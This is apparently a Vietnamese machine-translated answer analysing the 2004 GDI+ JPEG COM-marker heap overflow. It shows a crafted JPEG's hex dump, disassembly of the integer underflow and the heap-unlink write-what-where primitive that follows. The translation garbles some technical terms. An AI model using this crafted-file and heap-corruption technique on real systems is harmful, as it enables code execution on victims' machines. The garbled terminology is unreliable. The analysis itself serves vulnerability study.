Lỗ hổng này chắc chắn là một sự cố tràn đống .
Làm cách nào để ghi 0XFFFFFFFE byte (4 GB !!!!) có thể không làm hỏng chương trình?
Nó có thể sẽ xảy ra, nhưng trong một số trường hợp, bạn có thời gian để khai thác trước khi sự cố xảy ra (đôi khi, bạn có thể đưa chương trình trở lại hoạt động bình thường và tránh sự cố).
Khi memcpy () khởi động, bản sao sẽ ghi đè lên một số khối heap khác hoặc một số phần của cấu trúc quản lý heap (ví dụ: danh sách rảnh, danh sách bận, v.v.).
Tại một số điểm, bản sao sẽ gặp phải một trang không được phân bổ và kích hoạt AV (Vi phạm Truy cập) khi ghi. GDI + sau đó sẽ cố gắng phân bổ một khối mới trong heap (xem ntdll! RtlAllocateHeap ) ... nhưng các cấu trúc heap giờ đã lộn xộn.
Tại thời điểm đó, bằng cách tạo ảnh JPEG cẩn thận, bạn có thể ghi đè cấu trúc quản lý đống bằng dữ liệu được kiểm soát. Khi hệ thống cố gắng phân bổ khối mới, nó có thể sẽ hủy liên kết một khối (miễn phí) khỏi danh sách miễn phí.
Khối được quản lý bằng (đặc biệt là) con trỏ nháy (Liên kết chuyển tiếp; khối tiếp theo trong danh sách) và nháy (Liên kết lùi; khối trước đó trong danh sách). Nếu bạn kiểm soát cả nhấp nháy và nhấp nháy, bạn có thể có một WRITE4 khả thi (viết điều kiện What / Where), nơi bạn kiểm soát những gì bạn có thể viết và nơi bạn có thể viết.
Tại thời điểm đó, bạn có thể ghi đè một con trỏ hàm (con trỏ SEH [Structured Exception Handlers] là mục tiêu được lựa chọn vào thời điểm đó vào năm 2004) và thực thi mã.
Xem bài đăng trên blog Heap Corrupt: A Case Study .
Lưu ý: mặc dù tôi đã viết về việc khai thác bằng cách sử dụng tác giả tự do, kẻ tấn công có thể chọn một con đường khác bằng cách sử dụng siêu dữ liệu heap khác ("siêu dữ liệu heap" là cấu trúc được hệ thống sử dụng để quản lý heap; flink và flash là một phần của siêu dữ liệu heap), nhưng khai thác hủy liên kết có lẽ là "dễ nhất". Một tìm kiếm trên google cho "khai thác đống" sẽ trả lại nhiều nghiên cứu về điều này.
Điều này có ghi ra ngoài vùng heap và vào không gian của các chương trình khác và hệ điều hành không?
Không bao giờ. Hệ điều hành hiện đại dựa trên khái niệm không gian địa chỉ ảo nên mỗi tiến trình trên đều có không gian địa chỉ ảo riêng cho phép giải quyết tối đa 4 gigabyte bộ nhớ trên hệ thống 32 bit (trong thực tế, bạn chỉ có một nửa trong số đó trong vùng đất của người dùng, phần còn lại dành cho nhân).
Nói tóm lại, một tiến trình không thể truy cập bộ nhớ của một tiến trình khác (ngoại trừ nếu nó yêu cầu hạt nhân cho nó thông qua một số dịch vụ / API, nhưng hạt nhân sẽ kiểm tra xem người gọi có quyền làm như vậy hay không).
Tôi đã quyết định kiểm tra lỗ hổng này vào cuối tuần này, để chúng ta có thể biết rõ về những gì đang diễn ra hơn là suy đoán thuần túy. Lỗ hổng bảo mật hiện đã 10 năm tuổi, vì vậy tôi nghĩ rằng có thể viết về nó, mặc dù tôi chưa giải thích phần khai thác trong câu trả lời này.
Lập kế hoạch
Nhiệm vụ khó khăn nhất là tìm một Windows XP chỉ có SP1, như vào năm 2004 :)
Sau đó, tôi tải xuống một hình ảnh JPEG chỉ bao gồm một pixel duy nhất, như được hiển thị bên dưới (cắt cho ngắn gọn):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Ảnh JPEG bao gồm các điểm đánh dấu nhị phân (tạo ra các phân đoạn). Trong hình trên, FF D8
là điểm đánh dấu SOI (Start Of Image), trong khi FF E0
, ví dụ, là một điểm đánh dấu ứng dụng.
Tham số đầu tiên trong phân đoạn điểm đánh dấu (ngoại trừ một số điểm đánh dấu như SOI) là một tham số độ dài hai byte mã hóa số byte trong phân đoạn điểm đánh dấu, bao gồm tham số độ dài và loại trừ điểm đánh dấu hai byte.
Tôi chỉ cần thêm một điểm đánh dấu COM (0x FFFE
) ngay sau SOI, vì các điểm đánh dấu không có thứ tự nghiêm ngặt.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Độ dài của đoạn COM được đặt 00 00
để kích hoạt lỗ hổng bảo mật. Tôi cũng đã chèn các byte 0xFFFC ngay sau điểm đánh dấu COM với một mẫu lặp lại, số 4 byte trong hệ lục phân, điều này sẽ trở nên hữu ích khi "khai thác" lỗ hổng.
Gỡ lỗi
Nhấp đúp vào hình ảnh sẽ ngay lập tức kích hoạt lỗi trong Windows shell (còn gọi là "explorer.exe"), ở đâu đó gdiplus.dll
, trong một hàm có tên GpJpegDecoder::read_jpeg_marker()
.
Hàm này được gọi cho mỗi điểm đánh dấu trong hình, nó chỉ đơn giản: đọc kích thước đoạn mã đánh dấu, cấp phát một bộ đệm có độ dài là kích thước đoạn và sao chép nội dung của đoạn vào bộ đệm mới được cấp phát này.
Đây là phần bắt đầu của hàm:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
đăng ký trỏ đến kích thước phân đoạn và edi
là số byte còn lại trong hình ảnh.
Sau đó, mã sẽ tiến hành đọc kích thước phân đoạn, bắt đầu bằng byte quan trọng nhất (độ dài là giá trị 16 bit):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
Và byte ít quan trọng nhất:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Khi điều này được thực hiện, kích thước phân đoạn được sử dụng để cấp phát bộ đệm, theo phép tính sau:
phân bổ_size = phân_khoảng + 2
Điều này được thực hiện bởi đoạn mã dưới đây:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Trong trường hợp của chúng tôi, vì kích thước phân đoạn là 0, kích thước được phân bổ cho bộ đệm là 2 byte .
Lỗ hổng bảo mật nằm ngay sau khi phân bổ:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Mã chỉ cần trừ kích thước segment_size (chiều dài phân khúc là giá trị 2 byte) từ kích thước toàn bộ phân khúc (trong trường hợp của chúng tôi là 0) và kết thúc bằng một dòng số nguyên: 0 - 2 = 0xFFFFFFFE
Sau đó, mã kiểm tra xem có còn byte nào để phân tích cú pháp trong hình ảnh hay không (đúng), và sau đó chuyển đến bản sao:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
Đoạn mã trên cho thấy kích thước bản sao là 0xFFFFFFFE khối 32-bit. Bộ đệm nguồn được kiểm soát (nội dung của hình ảnh) và đích là bộ đệm trên heap.
Viết điều kiện
Bản sao sẽ kích hoạt ngoại lệ vi phạm quyền truy cập (AV) khi nó đến cuối trang bộ nhớ (điều này có thể là từ con trỏ nguồn hoặc con trỏ đích). Khi AV được kích hoạt, heap đã ở trạng thái dễ bị tấn công vì bản sao đã ghi đè lên tất cả các khối heap tiếp theo cho đến khi gặp phải trang không được ánh xạ.
Điều khiến lỗi này có thể khai thác được là 3 SEH (Trình xử lý ngoại lệ có cấu trúc; đây là thử / ngoại trừ ở cấp thấp) đang bắt các ngoại lệ trên phần này của mã. Chính xác hơn, SEH thứ nhất sẽ giải phóng ngăn xếp để nó quay trở lại phân tích cú pháp đánh dấu JPEG khác, do đó hoàn toàn bỏ qua điểm đánh dấu đã kích hoạt ngoại lệ.
Nếu không có SEH, mã sẽ bị hỏng toàn bộ chương trình. Vì vậy, mã bỏ qua phân đoạn COM và phân tích một phân đoạn khác. Vì vậy, chúng tôi quay lại GpJpegDecoder::read_jpeg_marker()
với một phân đoạn mới và khi mã phân bổ bộ đệm mới:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Hệ thống sẽ hủy liên kết một khối khỏi danh sách miễn phí. Nó xảy ra rằng cấu trúc siêu dữ liệu đã bị ghi đè bởi nội dung của hình ảnh; vì vậy chúng tôi kiểm soát việc hủy liên kết bằng siêu dữ liệu được kiểm soát. Đoạn mã dưới đây ở một nơi nào đó trong hệ thống (ntdll) trong trình quản lý đống:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Bây giờ chúng tôi có thể viết những gì chúng tôi muốn, nơi chúng tôi muốn ...